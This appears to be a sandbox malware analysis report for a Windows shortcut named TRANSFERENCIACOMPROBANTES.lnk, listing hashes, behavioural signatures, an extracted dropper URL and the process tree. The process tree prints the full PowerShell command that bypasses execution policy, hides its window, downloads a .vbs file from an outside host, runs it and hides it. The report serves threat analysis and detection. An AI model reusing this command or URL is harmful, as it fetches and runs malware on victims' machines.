Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20241023-en -
resource tags
arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system -
submitted
09-12-2024 05:48
Static task
static1
Behavioral task
behavioral1
Sample
TRANSFERENCIACOMPROBANTES.lnk
Resource
win7-20241023-en
windows7-x64
6 signatures
150 seconds
General
-
Target
TRANSFERENCIACOMPROBANTES.lnk
-
Size
2KB
-
MD5
cfd668a55ea2ee344f5a9badb6ff18b7
-
SHA1
b3927747076a408a9e73afa0df3a6adadcbae950
-
SHA256
05692e7735450069cc9e0c78bb80514c312d40ef47efbbbaae701a624fbabfba
-
SHA512
e8976004a15afced95af6a14e0c8360be13014dffdcac71aff24964036318b9cec958ce87db71dfec79f88944367ed7c6beb0b6ba8187f7329d44b55fc3fa943
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 5 2952 powershell.exe 6 2952 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2952 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2952 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2952 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1676 wrote to memory of 2952 1676 cmd.exe 31 PID 1676 wrote to memory of 2952 1676 cmd.exe 31 PID 1676 wrote to memory of 2952 1676 cmd.exe 31
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\TRANSFERENCIACOMPROBANTES.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:1676 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass gfdhozhdfbofdjqbopntjfmdjtginrdf -WindowStyle -Command hiddeN consent.exe;(new-object System.Net.WebClient).DownloadFile('https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs','pafdfgz.vbs');./'pafdfgz.vbs';(get-item 'pafdfgz.vbs').Attributes += 'Hidden';2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2952
-